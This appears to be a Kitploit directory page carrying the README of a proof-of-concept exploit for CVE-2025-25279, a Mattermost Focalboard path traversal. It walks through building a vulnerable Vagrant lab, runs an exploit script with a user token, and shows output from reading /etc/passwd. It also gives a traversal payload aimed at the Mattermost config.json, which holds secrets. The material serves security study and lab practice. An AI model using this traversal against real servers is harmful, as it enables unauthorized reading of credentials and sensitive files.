Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-25279-Mattermost-Path-Traversal — Proof-of-concept exploit for CVE-2025-25279, a Mattermost Focalboard path traversal enabling authenticated arbitrary file read and exfiltration of sensitive files. | Kitploit
Tools/GitHubGitHub/abokormahammadmousse/cve-2025-25279-mattermost-path-traversal
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubabokormahammadmousse/cve-2025-25279-mattermost-path-traversal

CVE-2025-25279-Mattermost-Path-Traversal

Proof-of-concept exploit for CVE-2025-25279, a Mattermost Focalboard path traversal enabling authenticated arbitrary file read and exfiltration of sensitive files.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🔥 CVE-2025-25279 — Mattermost 10.4.1

📤 Path Traversal in Focalboard allowing file exfiltration

🌟 Presentation

This proof of concept demonstrates the exploitation of vulnerability CVE-2025-25279 affecting Mattermost 10.4.1.
A flaw in Focalboard (the board management module) allows arbitrary file reading via a path traversal in attachments.

The exploit can exfiltrate:

  • /etc/passwd
  • /etc/group
  • or sensitive Mattermost files, for example:
    opt/mattermost/config/config.json

The attack works only with an authenticated user account in vulnerable scenarios.

🗂️ Directory structure

  • 📁 target : directory for creating the target box
  • 📁 live : directory for creating target VM(s) and demonstrating the exploit
  • 📁 src : possible auxiliary source code
  • 📁 refs : directory containing articles and bibliography
  • 📁 docs : associated documents produced during the project, including video recordings

    • 🔧 Prerequisites

    • Vagrant
    • VirtualBox
    • Project file set (target + live)
    • A Mattermost account (PAT = Personal Access Token)
    • Linux/Mac/Windows with Bash

    📦 Downloading Mattermost

    The target/ folder is not included (too large for GitHub).

    Download manually: https://releases.mattermost.com/10.4.1/mattermost-10.4.1-linux-amd64.tar.gz

    Then place the file in: target

    Before deploying the VM

    First go to the target directory and run:

    root@kitploit:~
    cd target
make mattermost.box

    Make sure you have the mattermost-poc box otherwise the VM will not work:

    root@kitploit:~
    cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box

    1. Deploying the vulnerable machine

    Launch the VM

    root@kitploit:~
    cd live/vm1
vagrant up

    Connect to the VM

    root@kitploit:~
     vagrant ssh

    Create a user in the web interface:

    Open: http://localhost:8065

    Create a token in the UI (user interface):

    Profile --> Security --> Personal Access Tokens

    2. Installing the exploit

    From the host machine:

    root@kitploit:~
    cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip

chmod +x exploit.sh

    3. Run the exploit

    root@kitploit:~
    ./exploit.sh

    You will be asked:

    root@kitploit:~
    PAT (Personal Access Token) :

    👉 Enter a valid PAT from a Mattermost user.

    📸 Example output (exfiltration of /etc/passwd)

    root@kitploit:~
    ===== CONTENT (start) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh

    Targeted file: config.json

    To target a sensitive Mattermost file:

    Modify at the top of the exploit.sh script:

    root@kitploit:~
    TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
L’exploit affichera alors le contenu du fichier config.json.

    ✒️ Authors

    🟢 MAHAMMAD MOUSSE Abokor 🔵 PARNET cyril

    🎬 Video demonstration

    👉 A complete video demonstration is located in: live/Démonstration/video-poc-cve-2025-25279.mp4

    🧩 Notes

    This PoC is strictly intended for learning environments. Never use outside of an educational context or without authorization.

    Download Tool